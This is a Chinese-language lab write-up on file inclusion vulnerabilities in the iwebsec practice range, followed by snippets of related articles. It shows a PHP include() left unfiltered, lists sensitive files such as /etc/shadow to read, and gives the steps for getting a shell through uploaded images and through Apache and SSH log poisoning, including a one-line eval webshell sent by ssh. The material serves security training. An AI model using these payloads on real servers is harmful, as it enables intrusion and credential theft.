文件包含漏洞1 | iwebsec
文章目录
- 00-文件包含漏洞原理
- 环境
- 01-本地文件包含
- 读取敏感文件信息
- 配合文件上传getshell
- 配合日志文件getshell
- 配合SSH日志
- 配合运行环境
00-文件包含漏洞原理
为什么要文件包含?
为什么会有文件包含漏洞?
因为将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性, 从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。文件包含函数的参数没有经过过滤,可以被攻击者控制,包含其他恶意文件,导致了执行恶意的代码。
什么是文件包含漏洞?
PHP的文件包含可以直接执行包含文件的代码,包含的文件格式不受限制(无论是txt、图片文件还是远程URL,全都作为PHP代码执行),只要能正常执行即可。文件包含函数有
include()
、include_once()
、require()
、require_once()
,它们之间的区别在于include()
和include_once()
在文件包含时即使遇到错误,下面的代码仍继续会执行;而require()
和require_once()
则会直接报错退出程序。【摘自《代码审计——企业级Web代码安全架构》】
环境
靶场:iwebsec,前面的文章有搭建过程。
01-本地文件包含
本地文件包含(local file include,LFI)是指只能包含在本机文件的文件包含漏洞,大多出现在模块加载、模板加载和cache调用的地方。
本关卡源码如下:
<?phpif(isset($_GET['filename'])){$filename = $_GET['filename'];include($filename);//对$filename包含,没有进行限制}else{exit();}
?>
读取敏感文件信息
/etc/passwd(系统用户数据库文件)
/etc/group(组的数据库文件)
/etc/gshadow(存放密码)
/etc/shadow(存放密码)
/etc/profile(系统环境)
/etc/crontab(crontab配置文件)
/etc/httpd/conf/httpd.conf(Apache配置信息)
/etc/my.conf(MYSQL配置信息)
/usr/etc/php.ini(PHP配置信息)
配合文件上传getshell
假设shell.png
这个文件是我们通过文件上传点上传的,但是无法解析,我们可以利用这里的文件包含漏洞解析shell.png
,执行php代码。
访问shell.png
,执行成功
蚁剑连接
类似地,可以上传其他后缀的文件,同样也可以解析
配合日志文件getshell
参考文章
浏览器发起请求
查看日志文件
apache+Linux日志默认路径:/etc/httpd/logs/access_log 或者 /var/log/httpd/access_log
一句话木马被编码了,用burpsuite发包。
网页源代码查看日志【方便看一点】
蚁剑连接
配合SSH日志
这个靶场环境不可以,我在本机自己测试。在web服务器的根目录新建1.php
文件,写入如下代码,即01环境的代码。
日志文件在/var/log/secure
,检查文件权限
修改权限
成功包含
写入一句话木马或者phpinfo()
ssh '<?php @eval($_POST[1]);?>'@8.134.148.36
ssh '<?php phpinfo();?>'@8.134.148.36
蚁剑连接
复现完成,把权限修改回去
配合运行环境
访问,没有权限
只有文件所有者具有读权限
下次遇到类似环境再试试。
剩下的留在下个文章写。
文件包含漏洞1 | iwebsec相关推荐
- Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)
Web安全:文件包含漏洞测试. 文件包含的漏洞是 程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , ...
- 一个云本地文件包含漏洞,影响世界一流公司
本文讲的是一个云本地文件包含漏洞,影响世界一流公司,先通过一张截图看一下影响范围吧 本地文件包含是在Oracle Responsys的云服务中存在的.什么是Responsys?它是企业级基于云的B2C ...
- phpinfo.php ctf,这你不是你所常见的PHP文件包含漏洞(利用phpinfo)
0x01 前言 看到文件包含(+phpinfo ) 的问题,在上次众测中出现此题目,如果没打过CTF,可能真的很少见到这种问题,当然作为小白的我,也是很少遇到,毕竟都是第一次,那就来总结一波经验和操作 ...
- 文件包含漏洞检测工具fimap
文件包含漏洞检测工具fimap 在Web应用中,文件包含漏洞(FI)是常见的漏洞.根据包含的文件不同,它分为本地文件包含漏洞(LFI)和远程文件包含漏洞(RFL).利用该漏洞,安全人员可以获取服务器的 ...
- Apache Tomcat 文件包含漏洞(CVE-2020-1938)
安全公告编号:CNTA-2020-0004 2020年1月6日,国家信息安全漏洞共享平台(CNVD)收录了由北京长亭科技有限公司发现并报送的Apache Tomcat文件包含漏洞(CNVD-2020- ...
- Apache Tomcat 曝文件包含漏洞:攻击者可利用该漏洞读取webapp目录下的任意文件...
点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | oschina 来源 | https://ww ...
- 文件包含中过滤了php,文件包含漏洞---php协议
一.原理 1.概念:在php代码中,总会有一些代码我们会经常用到,这时引入了文件包含函数,可以通过文件包含函数把这些代码文件包含进来,直接使用文件中的代码,这样提高了我们的工作效率. 2.文件包含函数 ...
- php filter 文件包含,php://filter(文件包含漏洞利用)及php://input
1. php://filter 文件包含漏洞:https://blog.csdn.net/fageweiketang/article/details/80699051 筛选过滤应用: 1. 字符串过滤 ...
- Web安全之文件包含漏洞
什么是文件包含 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件.而无需再次编写,这种 文件调用的过程一般被称为文件包含. 例如:include "conn ...
最新文章
- faiss简介及示例
- windows添加删除静态路由
- 009_字符串内建函数
- oracle 与sql serve 获取随机行数的数据
- Javascript设置对象属性为只读
- SpringMVC 之类型转换Converter 源代码分析
- 中电网嵌入式系统主题月即将开幕
- 【知识图谱系列】知识图谱的神经符号逻辑推理
- Unix环境高级编程——学习笔记
- java毕业设计——基于java+JavaBean+jsp的网上零食销售系统设计与实现(毕业论文+程序源码)——网上零食销售系统
- winform DevComponents.DotNetBar2 添加到工具栏方法
- 文件误删除如何找回呢?四步妙招解决
- 大数据的价值,主要体现在哪几方面?
- 如何用纯 CSS 创作一个永动的牛顿摆
- 国外广告联盟骗局汇总(持续更新中)
- windows截图保存自动化脚本以及设置快捷键一键运行
- 比亚迪元EV汽车拆解报告
- 关于阿里云香港Region可用区C服务中断事件的说明
- 和平精英电脑版服务器未响应,和平精英电脑版为什么卡顿 电脑版卡顿解决方法...
- JDK下载(jdk1.8下载与安装教程)